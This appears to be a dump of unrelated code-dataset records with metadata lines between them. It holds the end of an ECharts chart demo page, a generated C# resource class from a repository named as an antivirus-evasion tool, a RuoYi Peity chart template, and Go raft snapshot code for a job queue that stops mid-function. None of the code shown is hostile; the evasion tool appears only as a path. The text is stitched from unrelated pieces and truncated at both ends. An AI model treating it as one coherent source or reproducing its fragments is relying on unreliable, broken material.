'云南',value: Math.round(Math.random()*1000)}, {name: '辽宁',value: Math.round(Math.random()*1000)}, {name: '黑龙江',value: Math.round(Math.random()*1000)}, {name: '湖南',value: Math.round(Math.random()*1000)}, {name: '安徽',value: Math.round(Math.random()*1000)}, {name: '山东',value: Math.round(Math.random()*1000)}, {name: '新疆',value: Math.round(Math.random()*1000)}, {name: '江苏',value: Math.round(Math.random()*1000)}, {name: '浙江',value: Math.round(Math.random()*1000)}, {name: '江西',value: Math.round(Math.random()*1000)}, {name: '湖北',value: Math.round(Math.random()*1000)}, {name: '广西',value: Math.round(Math.random()*1000)}, {name: '甘肃',value: Math.round(Math.random()*1000)}, {name: '山西',value: Math.round(Math.random()*1000)}, {name: '内蒙古',value: Math.round(Math.random()*1000)}, {name: '陕西',value: Math.round(Math.random()*1000)}, {name: '吉林',value: Math.round(Math.random()*1000)}, {name: '福建',value: Math.round(Math.random()*1000)}, {name: '贵州',value: Math.round(Math.random()*1000)}, {name: '广东',value: Math.round(Math.random()*1000)}, {name: '青海',value: Math.round(Math.random()*1000)}, {name: '西藏',value: Math.round(Math.random()*1000)}, {name: '四川',value: Math.round(Math.random()*1000)}, {name: '宁夏',value: Math.round(Math.random()*1000)}, {name: '海南',value: Math.round(Math.random()*1000)}, {name: '台湾',value: Math.round(Math.random()*1000)}, {name: '香港',value: Math.round(Math.random()*1000)}, {name: '澳门',value: Math.round(Math.random()*1000)} ] }, { name: 'iphone4', type: 'map', mapType: 'china', itemStyle:{ normal:{label:{show:true}}, emphasis:{label:{show:true}} }, data:[ {name: '北京',value: Math.round(Math.random()*1000)}, {name: '天津',value: Math.round(Math.random()*1000)}, {name: '上海',value: Math.round(Math.random()*1000)}, {name: '重庆',value: Math.round(Math.random()*1000)}, {name: '河北',value: Math.round(Math.random()*1000)}, {name: '安徽',value: Math.round(Math.random()*1000)}, {name: '新疆',value: Math.round(Math.random()*1000)}, {name: '浙江',value: Math.round(Math.random()*1000)}, {name: '江西',value: Math.round(Math.random()*1000)}, {name: '山西',value: Math.round(Math.random()*1000)}, {name: '内蒙古',value: Math.round(Math.random()*1000)}, {name: '吉林',value: Math.round(Math.random()*1000)}, {name: '福建',value: Math.round(Math.random()*1000)}, {name: '广东',value: Math.round(Math.random()*1000)}, {name: '西藏',value: Math.round(Math.random()*1000)}, {name: '四川',value: Math.round(Math.random()*1000)}, {name: '宁夏',value: Math.round(Math.random()*1000)}, {name: '香港',value: Math.round(Math.random()*1000)}, {name: '澳门',value: Math.round(Math.random()*1000)} ] }, { name: 'iphone5', type: 'map', mapType: 'china', itemStyle:{ normal:{label:{show:true}}, emphasis:{label:{show:true}} }, data:[ {name: '北京',value: Math.round(Math.random()*1000)}, {name: '天津',value: Math.round(Math.random()*1000)}, {name: '上海',value: Math.round(Math.random()*1000)}, {name: '广东',value: Math.round(Math.random()*1000)}, {name: '台湾',value: Math.round(Math.random()*1000)}, {name: '香港',value: Math.round(Math.random()*1000)}, {name: '澳门',value: Math.round(Math.random()*1000)} ] } ] }; mapChart.setOption(mapoption); $(window).resize(mapChart.resize); var gaugeChart = echarts.init(document.getElementById("echarts-gauge-chart")); var gaugeoption = { tooltip : { formatter: "{a} <br/>{c} {b}" }, toolbox: { show : true, feature : { mark : {show: true}, restore : {show: true}, saveAsImage : {show: true} } }, series : [ { name:'速度', type:'gauge', min:0, max:220, splitNumber:11, axisLine: { // 坐标轴线 lineStyle: { // 属性lineStyle控制线条样式 width: 10 } }, axisTick: { // 坐标轴小标记 length :15, // 属性length控制线长 lineStyle: { // 属性lineStyle控制线条样式 color: 'auto' } }, splitLine: { // 分隔线 length :20, // 属性length控制线长 lineStyle: { // 属性lineStyle(详见lineStyle)控制线条样式 color: 'auto' } }, title : { textStyle: { // 其余属性默认使用全局文本样式,详见TEXTSTYLE fontWeight: 'bolder', fontSize: 20, fontStyle: 'italic' } }, detail : { textStyle: { // 其余属性默认使用全局文本样式,详见TEXTSTYLE fontWeight: 'bolder' } }, data:[{value: 40, name: 'km/h'}] }, { name:'转速', type:'gauge', center : ['25%', '55%'], // 默认全局居中 radius : '50%', min:0, max:7, endAngle:45, splitNumber:7, axisLine: { // 坐标轴线 lineStyle: { // 属性lineStyle控制线条样式 width: 8 } }, axisTick: { // 坐标轴小标记 length :12, // 属性length控制线长 lineStyle: { // 属性lineStyle控制线条样式 color: 'auto' } }, splitLine: { // 分隔线 length :20, // 属性length控制线长 lineStyle: { // 属性lineStyle(详见lineStyle)控制线条样式 color: 'auto' } }, pointer: { width:5 }, title : { offsetCenter: [0, '-30%'], // x, y,单位px }, detail : { textStyle: { // 其余属性默认使用全局文本样式,详见TEXTSTYLE fontWeight: 'bolder' } }, data:[{value: 1.5, name: 'x1000 r/min'}] }, { name:'油表', type:'gauge', center : ['75%', '50%'], // 默认全局居中 radius : '50%', min:0, max:2, startAngle:135, endAngle:45, splitNumber:2, axisLine: { // 坐标轴线 lineStyle: { // 属性lineStyle控制线条样式 color: [ [0.2, '#ff4500'],[0.8, '#48b'],[1, '#228b22'] ], width: 8 } }, axisTick: { // 坐标轴小标记 splitNumber:5, length :10, // 属性length控制线长 lineStyle: { // 属性lineStyle控制线条样式 color: 'auto' } }, axisLabel: { formatter:function(v){ switch (v + '') { case '0' : return 'E'; case '1' : return 'Gas'; case '2' : return 'F'; } } }, splitLine: { // 分隔线 length :15, // 属性length控制线长 lineStyle: { // 属性lineStyle(详见lineStyle)控制线条样式 color: 'auto' } }, pointer: { width:2 }, title : { show: false }, detail : { show: false }, data:[{value: 0.5, name: 'gas'}] }, { name:'水表', type:'gauge', center : ['75%', '50%'], // 默认全局居中 radius : '50%', min:0, max:2, startAngle:315, endAngle:225, splitNumber:2, axisLine: { // 坐标轴线 lineStyle: { // 属性lineStyle控制线条样式 color: [ [0.2, '#ff4500'],[0.8, '#48b'],[1, '#228b22'] ], width: 8 } }, axisTick: { // 坐标轴小标记 show: false }, axisLabel: { formatter:function(v){ switch (v + '') { case '0' : return 'H'; case '1' : return 'Water'; case '2' : return 'C'; } } }, splitLine: { // 分隔线 length :15, // 属性length控制线长 lineStyle: { // 属性lineStyle(详见lineStyle)控制线条样式 color: 'auto' } }, pointer: { width:2 }, title : { show: false }, detail : { show: false }, data:[{value: 0.5, name: 'gas'}] } ] }; gaugeChart.setOption(gaugeoption); $(window).resize(gaugeChart.resize); var funnelChart = echarts.init(document.getElementById("echarts-funnel-chart")); var funneloption = { title : { text: '漏斗图', subtext: '纯属虚构' }, tooltip : { trigger: 'item', formatter: "{a} <br/>{b} : {c}%" }, legend: { data : ['展现','点击','访问','咨询','订单'] }, calculable : true, series : [ { name:'漏斗图', type:'funnel', width: '40%', data:[ {value:60, name:'访问'}, {value:40, name:'咨询'}, {value:20, name:'订单'}, {value:80, name:'点击'}, {value:100, name:'展现'} ] }, { name:'金字塔', type:'funnel', x : '50%', sort : 'ascending', itemStyle: { normal: { // color: 各异, label: { position: 'left' } } }, data:[ {value:60, name:'访问'}, {value:40, name:'咨询'}, {value:20, name:'订单'}, {value:80, name:'点击'}, {value:100, name:'展现'} ] } ] }; funnelChart.setOption(funneloption); $(window).resize(funnelChart.resize); }); </script> </body> </html>
58,759
echarts
html
zh
html
code
{"qsc_code_num_words": 6007, "qsc_code_num_chars": 58759.0, "qsc_code_mean_word_length": 3.04661229, "qsc_code_frac_words_unique": 0.1323456, "qsc_code_frac_chars_top_2grams": 0.02950658, "qsc_code_frac_chars_top_3grams": 0.04589913, "qsc_code_frac_chars_top_4grams": 0.05901317, "qsc_code_frac_chars_dupe_5grams": 0.46379979, "qsc_code_frac_chars_dupe_6grams": 0.42784547, "qsc_code_frac_chars_dupe_7grams": 0.41402109, "qsc_code_frac_chars_dupe_8grams": 0.39484181, "qsc_code_frac_chars_dupe_9grams": 0.39019726, "qsc_code_frac_chars_dupe_10grams": 0.3805803, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.24964106, "qsc_code_frac_chars_whitespace": 0.52585987, "qsc_code_size_file_byte": 58759.0, "qsc_code_num_lines": 1264.0, "qsc_code_num_chars_line_max": 238.0, "qsc_code_num_chars_line_mean": 46.48655063, "qsc_code_frac_chars_alphabet": 0.40721464, "qsc_code_frac_chars_comments": 0.01073878, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.49398557, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.07455831, "qsc_code_frac_chars_long_word_length": 0.00072253, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codehtml_cate_ast": 1.0, "qsc_codehtml_frac_words_text": 0.00898586, "qsc_codehtml_num_chars_text": 528.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 1, "qsc_code_frac_chars_digital": 1, "qsc_code_frac_chars_whitespace": 1, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_codehtml_cate_ast": 0, "qsc_codehtml_frac_words_text": 1, "qsc_codehtml_num_chars_text": 0}
1y0n/AV_Evasion_Tool
掩日2.0/Properties/Resources.Designer.cs
//------------------------------------------------------------------------------ // <auto-generated> // 此代码由工具生成。 // 运行时版本: 4.0.30319.42000 // // 对此文件的更改可能导致不正确的行为,如果 // 重新生成代码,则所做更改将丢失。 // </auto-generated> //------------------------------------------------------------------------------ namespace 掩日2._0.Properties { /// <summary> /// 强类型资源类,用于查找本地化字符串等。 /// </summary> // 此类是由 StronglyTypedResourceBuilder // 类通过类似于 ResGen 或 Visual Studio 的工具自动生成的。 // 若要添加或删除成员,请编辑 .ResX 文件,然后重新运行 ResGen // (以 /str 作为命令选项),或重新生成 VS 项目。 [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] internal class Resources { private static global::System.Resources.ResourceManager resourceMan; private static global::System.Globalization.CultureInfo resourceCulture; [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] internal Resources() { } /// <summary> /// 返回此类使用的缓存 ResourceManager 实例。 /// </summary> [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] internal static global::System.Resources.ResourceManager ResourceManager { get { if ((resourceMan == null)) { global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("掩日2._0.Properties.Resources", typeof(Resources).Assembly); resourceMan = temp; } return resourceMan; } } /// <summary> /// 覆盖当前线程的 CurrentUICulture 属性 /// 使用此强类型的资源类的资源查找。 /// </summary> [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] internal static global::System.Globalization.CultureInfo Culture { get { return resourceCulture; } set { resourceCulture = value; } } } }
2,424
Resources.Designer
cs
zh
csharp
code
{"qsc_code_num_words": 234, "qsc_code_num_chars": 2424.0, "qsc_code_mean_word_length": 5.92307692, "qsc_code_frac_words_unique": 0.52991453, "qsc_code_frac_chars_top_2grams": 0.12121212, "qsc_code_frac_chars_top_3grams": 0.05194805, "qsc_code_frac_chars_top_4grams": 0.1038961, "qsc_code_frac_chars_dupe_5grams": 0.29292929, "qsc_code_frac_chars_dupe_6grams": 0.1976912, "qsc_code_frac_chars_dupe_7grams": 0.1976912, "qsc_code_frac_chars_dupe_8grams": 0.1976912, "qsc_code_frac_chars_dupe_9grams": 0.1976912, "qsc_code_frac_chars_dupe_10grams": 0.1976912, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01337047, "qsc_code_frac_chars_whitespace": 0.25948845, "qsc_code_size_file_byte": 2424.0, "qsc_code_num_lines": 71.0, "qsc_code_num_chars_line_max": 173.0, "qsc_code_num_chars_line_mean": 34.14084507, "qsc_code_frac_chars_alphabet": 0.75821727, "qsc_code_frac_chars_comments": 0.27351485, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.1, "qsc_code_cate_autogen": 1.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.07784091, "qsc_code_frac_chars_long_word_length": 0.07386364, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codecsharp_frac_lines_func_ratio": 0.025, "qsc_codecsharp_cate_var_zero": 0.0, "qsc_codecsharp_score_lines_no_logic": 0.1, "qsc_codecsharp_frac_lines_print": 0.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 1, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecsharp_frac_lines_func_ratio": 0, "qsc_codecsharp_cate_var_zero": 0, "qsc_codecsharp_score_lines_no_logic": 0, "qsc_codecsharp_frac_lines_print": 0}
1diot9/MyJavaSecStudy
CodeAudit/RuoYi/RuoYi-4.7.5/ruoyi-admin/src/main/resources/templates/demo/report/peity.html
<!DOCTYPE html> <html lang="zh" xmlns:th="http://www.thymeleaf.org" xmlns:shiro="http://www.pollix.at/thymeleaf/shiro"> <head> <th:block th:include="include :: header('图表')" /> </head> <body class="gray-bg"> <div class="wrapper wrapper-content animated fadeInDown"> <div class="row"> <div class="col-sm-5"> <div class="jumbotron"> <h1>Peity图表</h1> <p>是一个内嵌数据图形可视化的图表库</p> <p><a href="http://benpickles.github.io/peity/" target="_blank" class="btn btn-primary btn-lg" role="button">了解 Peity</a> </p> </div> </div> <div class="col-sm-7"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>饼状图 <small>自定义颜色</small></h5> <div class="ibox-tools"> <a class="close-link"> <i class="fa fa-times"></i> </a> </div> </div> <div> <table class="table table-bordered white-bg"> <thead> <tr> <th>图表</th> <th>代码</th> </tr> </thead> <tbody> <tr> <td> <span class="pie">1/5</span> </td> <td> <code>&lt;span class="pie"&gt;1/5&lt;/span&gt;</code> </td> </tr> <tr> <td> <span class="pie">226/360</span> </td> <td> <code>&lt;span class="pie"&gt;226/360&lt;/span&gt;</code> </td> </tr> <tr> <td> <span class="pie">0.52/1.561</span> </td> <td> <code>&lt;span class="pie"&gt;0.52/1.561&lt;/span&gt;</code> </td> </tr> <tr> <td> <span class="pie">1,4</span> </td> <td> <code>&lt;span class="pie"&gt;1,4&lt;/span&gt;</code> </td> </tr> <tr> <td> <span class="pie">226,134</span> </td> <td> <code>&lt;span class="pie"&gt;226,134&lt;/span&gt;</code> </td> </tr> <tr> <td> <span class="pie">0.52,1.041</span> </td> <td> <code>&lt;span class="pie"&gt;0.52,1.041&lt;/span&gt;</code> </td> </tr> </tbody> </table> </div> </div> </div> </div> <div class="row"> <div class="col-sm-12"> <div class="ibox float-e-margins"> <div class="ibox-title"> <h5>线性图</h5> <div class="ibox-tools"> <a class="close-link"> <i class="fa fa-times"></i> </a> </div> </div> <div> <table class="table table-bordered white-bg"> <thead> <tr> <th>图表</th> <th>代码</th> </tr> </thead> <tbody> <tr> <td> <span data-diameter="40" class="updating-chart">5,3,9,6,5,9,7,3,5,2,5,3,9,6,5,9,7,3,5,2</span> </td> <td> <code>&lt;span class="line"&gt;5,3,9,6,5,9,7,3,5,2&lt;/span&gt;</code> </td> </tr> <tr> <td> <span class="line">5,3,9,6,5,9,7,3,5,2</span> </td> <td> <code>&lt;span class="line"&gt;5,3,9,6,5,9,7,3,5,2&lt;/span&gt;</code> </td> </tr> <tr> <td> <span class="line">5,3,2,-1,-3,-2,2,3,5,2</span> </td> <td> <code>&lt;span class="line"&gt;5,3,2,-1,-3,-2,2,3,5,2&lt;/span&gt;</code> </td> </tr> <tr> <td> <span class="line">0,-3,-6,-4,-5,-4,-7,-3,-5,-2</span> </td> <td> <code>&lt;span class="line"&gt;0,-3,-6,-4,-5,-4,-7,-3,-5,-2&lt;/span&gt;</code> </td> </tr> <tr> <td> <span class="bar">5,3,9,6,5,9,7,3,5,2</span> </td> <td> <code>&lt;span class="bar"&gt;5,3,9,6,5,9,7,3,5,2&lt;/span&gt;</code> </td> </tr> <tr> <td> <span class="bar">5,3,2,-1,-3,-2,2,3,5,2</span> </td> <td> <code>&lt;span class="bar"&gt;5,3,2,-1,-3,-2,2,3,5,2&lt;/span&gt;</code> </td> </tr> </tbody> </table> </div> </div> </div> </div> </div> <th:block th:include="include :: footer" /> <th:block th:include="include :: peity-js" /> <script type="text/javascript"> $(function() { $("span.pie").peity("pie", { fill: ['#1ab394', '#d7d7d7', '#ffffff'] }) $(".line").peity("line",{ fill: '#1ab394', stroke:'#169c81', }) $(".bar").peity("bar", { fill: ["#1ab394", "#d7d7d7"] }) $(".bar_dashboard").peity("bar", { fill: ["#1ab394", "#d7d7d7"], width:100 }) var updatingChart = $(".updating-chart").peity("line", { fill: '#1ab394',stroke:'#169c81', width: 64 }) setInterval(function() { var random = Math.round(Math.random() * 10) var values = updatingChart.text().split(",") values.shift() values.push(random) updatingChart .text(values.join(",")) .change() }, 1000); }); </script> </body> </html>
8,857
peity
html
en
html
code
{"qsc_code_num_words": 701, "qsc_code_num_chars": 8857.0, "qsc_code_mean_word_length": 3.13552068, "qsc_code_frac_words_unique": 0.18830243, "qsc_code_frac_chars_top_2grams": 0.0655141, "qsc_code_frac_chars_top_3grams": 0.0177434, "qsc_code_frac_chars_top_4grams": 0.0655141, "qsc_code_frac_chars_dupe_5grams": 0.68016379, "qsc_code_frac_chars_dupe_6grams": 0.62693358, "qsc_code_frac_chars_dupe_7grams": 0.59417652, "qsc_code_frac_chars_dupe_8grams": 0.57370337, "qsc_code_frac_chars_dupe_9grams": 0.57370337, "qsc_code_frac_chars_dupe_10grams": 0.57370337, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.07381371, "qsc_code_frac_chars_whitespace": 0.61454217, "qsc_code_size_file_byte": 8857.0, "qsc_code_num_lines": 206.0, "qsc_code_num_chars_line_max": 142.0, "qsc_code_num_chars_line_mean": 42.99514563, "qsc_code_frac_chars_alphabet": 0.57000586, "qsc_code_frac_chars_comments": 0.0, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.65816327, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.07992775, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codehtml_cate_ast": 1.0, "qsc_codehtml_frac_words_text": 0.09946935, "qsc_codehtml_num_chars_text": 881.0}
0
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 1, "qsc_code_frac_chars_dupe_6grams": 1, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 1, "qsc_code_cate_xml_start": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_cate_autogen": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_codehtml_cate_ast": 0, "qsc_codehtml_frac_words_text": 1, "qsc_codehtml_num_chars_text": 0}
1xyz/coolbeans
store/snapshot.go
package store import ( v1 "github.com/1xyz/coolbeans/api/v1" "github.com/1xyz/coolbeans/state" "github.com/golang/protobuf/proto" "github.com/hashicorp/raft" log "github.com/sirupsen/logrus" "golang.org/x/net/context" "io" "io/ioutil" "os" "time" ) type snapshot struct { snap *v1.SnapshotProto } func NewSnapshotFrom(jsm state.JSM) (*snapshot, error) { jsmSnap, err := jsm.Snapshot() if err != nil { return nil, err } ss := newSnapshot() if err := ss.createFrom(jsmSnap); err != nil { return nil, err } return ss, nil } func RestoreSnapshotTo(rdr io.Reader, jsm state.JSM, timeout time.Duration) error { logc := log.WithField("method", "RestoreSnapshotTo") jsmSnap, err := jsm.Snapshot() if err != nil { return err } ss := newSnapshot() if err := ss.readFull(rdr); err != nil { logc.Errorf("ss.readFull. err=%v", err) return err } return ss.restoreTo(jsmSnap, timeout) } func (s *snapshot) Persist(sink raft.SnapshotSink) error { logc := log.WithField("method", "snapshot.Persist") snkID := sink.ID() err := func(sinkID string) error { bytes, err := proto.Marshal(s.snap) if err != nil { return err } // Write data to sink. if n, err := sink.Write(bytes); err != nil { return err } else { logc.Debugf("sinkID=%v, wrote %v bytes to sink", sinkID, n) } // Close the sink. return sink.Close() }(snkID) if err != nil { logc.Errorf("marshal. err=%v", err) if err := sink.Cancel(); err != nil { logc.Errorf("sink.cancel. err=%v", err) } } return err } func (s *snapshot) Release() { log.Info("Release called") } func newSnapshot() *snapshot { return &snapshot{ snap: &v1.SnapshotProto{ Jobs: make([]*v1.JobProto, 0), Reservations: make([]*v1.ClientResvEntryProto, 0), }} } func (s *snapshot) readFull(r io.Reader) error { bytes, err := ioutil.ReadAll(r) if err != nil { return err } return proto.Unmarshal(bytes, s.snap) } func (s *snapshot) appendClientRsvEntry(cli *state.ClientResvEntry) { cliProto := &v1.ClientResvEntryProto{ ClientId: string(cli.CliID), ResvDeadlineAt: cli.ResvDeadlineAt, IsWaitingForResv: cli.IsWaitingForResv, TickAt: cli.TickAt, ReqId: cli.ReqID, HeapIndex: int32(cli.HeapIndex), WatchedTube: make([]string, 0), } for _, t := range cli.WatchedTubes { cliProto.WatchedTube = append(cliProto.WatchedTube, string(t)) } s.snap.Reservations = append(s.snap.Reservations, cliProto) } func (s *snapshot) appendJob(j state.Job) { s.snap.Jobs = append(s.snap.Jobs, JobToJobProto(j)) } func JobToJobProto(j state.Job) *v1.JobProto { return &v1.JobProto{ Id: int64(j.ID()), Priority: j.Priority(), Delay: j.Delay(), Ttr: int32(j.TTR()), TubeName: string(j.TubeName()), CreatedAt: j.CreatedAt(), ReadyAt: j.ReadyAt(), ExpiresAt: j.ExpiresAt(), State: v1.JobStateProto(j.State()), ReservedBy: string(j.ReservedBy()), BodySize: int32(j.BodySize()), Body: j.Body(), BuriedAt: j.BuriedAt(), ReserveCount: j.ReserveCount(), TimeoutCount: j.TimeoutCount(), ReleaseCount: j.ReleaseCount(), BuryCount: j.BuryCount(), KickCount: j.KickCount(), } } func (s *snapshot) ReadFromFile(filename string) error { f, err := os.Open(filename) if err != nil { return err } defer f.Close() return s.readFull(f) } func (s *snapshot) createFrom(jsmSnap state.JSMSnapshot) error { logc := log.WithField("method", "snapshot.createFrom") cliEntries, err := jsmSnap.SnapshotClients() if err != nil { logc.Errorf("jsmSnap.SnapshotClients. err=%v", err) return err } for cli := range cliEntries { s.appendClientRsvEntry(cli) } jobs, err := jsmSnap.SnapshotJobs() if err != nil { logc.Errorf("jsmSnap.SnapshotJobs. err=%v", err) return err } for job := range jobs { s.appendJob(job) } return nil } func (s *snapshot) restoreTo(jsmSnap state.JSMSnapshot, timeout time.Duration) error { logc := log.WithField("method", "snapshot.restoreTo") if err := s.restoreCliRevEntries(jsmSnap, timeout); err != nil { logc.Errorf("s.restoreCliRevEntries. err=%v", err) return err } if err := s.restoreJobs(jsmSnap, timeout); err != nil { logc.Errorf("s.restoreJobs. err=%v", err) return err } jsmSnap.FinalizeRestore() return nil } func (s *snapshot) restoreCliRevEntries(jsmSnap state.JSMSnapshot, timeout time.Duration) error { logc := log.WithField("method", "snapshot.restoreCliRevEntries") cliCh := make(chan *state.ClientResvEntry) errCliCh := make(chan error) go func(restoreCh <-chan *state.ClientResvEntry, errCh chan<- error) { defer close(errCh) ctx, cancel := context.WithTimeout(context.Background(), timeout) defer cancel() n := len(s.snap.Reservations) logc.Debugf("restore n=%v clients to job state machine", n) errCh <- jsmSnap.RestoreClients(ctx, n, cliCh) }(cliCh, errCliCh) for _, r := range s.snap.Reservations { cliCh <- &state.ClientResvEntry{ CliID: state.ClientID(r.ClientId), WatchedTubes: []state.TubeName{}, ResvDeadlineAt: r.ResvDeadlineAt, IsWaitingForResv: r.IsWaitingForResv, TickAt: r.TickAt, ReqID: r.ReqId, HeapIndex: int(r.HeapIndex), } } close(cliCh) err := <-errCliCh return err } func (s *snapshot) restoreJobs(jsmSnap state.JSMSnapshot, timeout time.Duration) error { logc := log.WithField("method", "snapshot.restoreJobs") jobCh := make(chan state.Job) errCh := make(chan error) go func(restoreCh <-chan state.Job, errCh chan<- error) { defer close(errCh) ctx, cancel := context.WithTimeout(context.Background(), timeout) defer cancel() logc.Debugf("restore jobs to job state machine") errCh <- jsmSnap.RestoreJobs(ctx, restoreCh) }(jobCh, errCh) for _, job := range s.snap.Jobs { jobCh <- NewJobFromJobProto(job) } close(jobCh) err := <-errCh return err } type wrapJob struct { jp *v1.JobProto } func NewJobFromJobProto(jp *v1.JobProto) state.Job { return &wrapJob{jp: jp} } func (j *wrapJob) ID() state.JobID { return state.JobID(j.jp.Id) } func (j *wrapJob) Priority() uint32 { return j.jp.Priority } func (j *wrapJob) UpdatePriority(newPriority uint32) uint32 { j.jp.Priority = newPriority return j.jp.Priority } func (j *wrapJob) Delay() int64 { return j.jp.Delay } func (j *wrapJob) UpdateDelay(newDelay int64) int64 { j.jp.Delay = newDelay return j.jp.Delay } func (j *wrapJob) TTR() int { return int(j.jp.Ttr) } func (j *wrapJob) BodySize() int { return int(j.jp.BodySize) } func (j *wrapJob) Body() []byte { return j.jp.Body } func (j *wrapJob) TubeName() state.TubeName { return state.TubeName(j.jp.TubeName) } func (j *wrapJob) CreatedAt() int64 { return j.jp.CreatedAt } func (j *wrapJob) ReadyAt() int64 { return j.jp.ReadyAt } func (j *wrapJob) UpdateReadyAt(nowSeconds int64) (int64, error) { j.jp.ReadyAt = nowSeconds + j.jp.Delay return j.jp.ReadyAt, nil } func (j *wrapJob) State() state.JobState { return state.JobState(j.jp.State) } func (j *wrapJob) UpdateState(newState state.JobState) { j.jp.State = v1.JobStateProto(newState) } func (j *wrapJob) UpdateReservedBy(clientID state.ClientID) { j.jp.ReservedBy = string(clientID) } func (j *wrapJob) ExpiresAt() int64 { return j.jp.ExpiresAt } func (j *wrapJob) ReservedBy() state.ClientID { return state.ClientID(j.jp.ReservedBy) } func (j *wrapJob) UpdateReservation(nowSeconds int64) (int64, error) { j.jp.ExpiresAt = nowSeconds + int64(j.jp.Ttr) return j.jp.ExpiresAt, nil } func (j *wrapJob) ResetBuriedAt() { j.jp.BuriedAt = 0 } func (j *wrapJob) UpdateBuriedAt(nowSeconds int64) int64 { j.jp.BuriedAt = nowSeconds return j.jp.BuriedAt } func (j *wrapJob) BuriedAt() int64 { return j.jp.BuriedAt } func (j *wrapJob) ReserveCount() uint32 { return j.jp.GetReserveCount() } func (j *wrapJob) IncReserveCount() { j.jp.ReserveCount++ } func (j *wrapJob) TimeoutCount() uint32 { return j.jp.GetTimeoutCount() } func (j *wrapJob) IncTimeoutCount() { j.jp.TimeoutCount++ } func (j *wrapJob) 